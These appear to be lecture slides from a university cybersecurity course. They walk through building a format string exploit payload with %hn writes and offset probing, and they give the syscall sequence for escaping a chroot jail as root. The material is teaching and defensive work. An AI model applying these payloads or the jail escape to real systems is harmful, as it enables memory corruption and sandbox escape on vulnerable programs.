
CSCI 3330
Cybersecurity

Word of the day

BOGON n. [by analogy with proton/electron/neutron] 1. The elementary particle of bogosity (see quantum bogodynamics). For instance, “the Ethernet is emitting bogons again” means that it is broken or acting in an erratic or bogus fashion. 2. A query packet sent from a TCP/IP domain resolver to a root server, having the reply bit set instead of the query bit. 3. Any bogus or incorrectly formed packet sent on a network.

Agenda for today

- Recap format string exploits
- Chroot

Anatomy of a format string attack

```
\x12\xc0\x04\x08\x10\xc0\x04\x08%.2044x%15$hn%.35565x%16$hn
```

1) The value of what you write to memory
2) The address of where you write that value (1)
3) Where, relative to %ebp+8, you read that address (2)

Anatomy of a format string attack

```
\x12\xc0\x04\x08\x10\xc0\x04\x08%.2044x%15$hn%.35565x%16$hn
```

1) The value of what you write to memory
2) The address of where you write that value (1)
3) Where, relative to %ebp+8, you read that address (2)

```
int *ebp_plus_8; // ebp plus old ebp plus return addr
```

```
*ebp_plus_8[15] = 2044 + 8
```

Construct string by starting at (3)

- First determine offset of buffer relative to %ebp (plus 8)
- Probing (recall how A is encoded in ASCII)
- `AAAA 1:%1$.8x: ff803f18`
- `AAAA 2:%2$.8x: ffa5afbc`
- …
- `AAAA 15:%15$.8x: 41414141`
- …

Construct string by starting at (3)

- First determine offset of buffer relative to %ebp (plus 8)
- Probing (recall how A is encoded in ASCII)
- `AAAA 1:%1$.8x: ff803f18`
- `AAAA 2:%2$.8x: ffa5afbc`
- …
- `AAAA 15:%15$.8x: 41414141`
- …

Construct string by starting at (3)

```
\x??\x??\x??\x??\x??\x??\x??\x??%.????x%15$hn%.????x%16$hn
```

Determine value of (1)

- Suppose we want to write 0x12345678
- Bytes: 0x78 0x56 0x34 0x12
- Shorts: 0x5678 0x1234
- Determine which short is smaller: 0x1234 (last)
- Subtract bytes already written: `\x??\x??\x??\x??\x??\x??\x??\x??` (8)
- 0x1234 – 8 = 4652

Determine value of (1)

- 0x1234 – 8 = 4652

\x??\x??\x??\x??\x??\x??\x??\x??%.4652x%15$hn%.????x%16$hn

- 0x5678 – 4652 – 8 = 17476

\x??\x??\x??\x??\x??\x??\x??\x??%.4652x%15$hn%.17476x%16$hn

Now construct (2)

- Suppose we want to overwrite a 32-bit value at address 0xdeadbeef
- We want to write our shorts to 0xdeadbeef and 0xdeadbeef + 2 = 0xdeadbef1
- If in (1) we wrote the last short first, we write the higher address first. Else we write the shortest first.
- Since we wrote the last short first, we will write:

\xf1\xbe\xad\xde\xef\xbe\xad\xde%.4652x%15$hn%.17476x%16$hn

chroot()

- Recall: root directory is top level directory
- You can change your root directory!
- System call: chroot(dir_path)
- Requires root (as in superuser) privileges

chroot()

- “Jails” processes into a directory
- Useful for an HTTP or FTP server should only server files from files from a certain directory
- What attack that we studied earlier does this help prevent?

chroot()

- Recipe:

1)First, change root:

  - chroot(“/var/www”)

2)Second, move into new chroot “jail”:

  - chdir(“/var/www”)

- Your new root is /var/www

Escaping jail

- Can escape a chroot “jail” if root:
  - mkdir(“foo”)
  - chroot(“foo”) // create jail inside your jail
  - chdir(“../../../../../”) // allows you to “cd ..” out of jail
  - chroot(“.”) // now “/” points to real root
- Why is chroot(“.”) desirable?
- So does chroot() *really* prevent directory traversal attacks?

chroot() threat model

- Remember that calling chroot() requires
  - root permissions
  - the ability to execute arbitrary code
- chroot() is still effective when these steep requirements cannot met
- But! They *can* be met (such as in your format string vulnerability assignment)

chroot() in python

- Relevant functions:
- os.chroot()
- os.getcwd()
- os.mkdir()
- os.chdir()
- os.listdir()

Assignment 8

- Deadline: December 5, 2025, 10:00pm
- Format string vulnerabilities
  https://tildesites.bowdoin.edu/~j.knockel/csci3330f25/assignment8.pdf

Portfolio Project

- Deadline: December 12, 2025, 10:00pm
- https://tildesites.bowdoin.edu/~j.knockel/csci3330f25/portfolio.pdf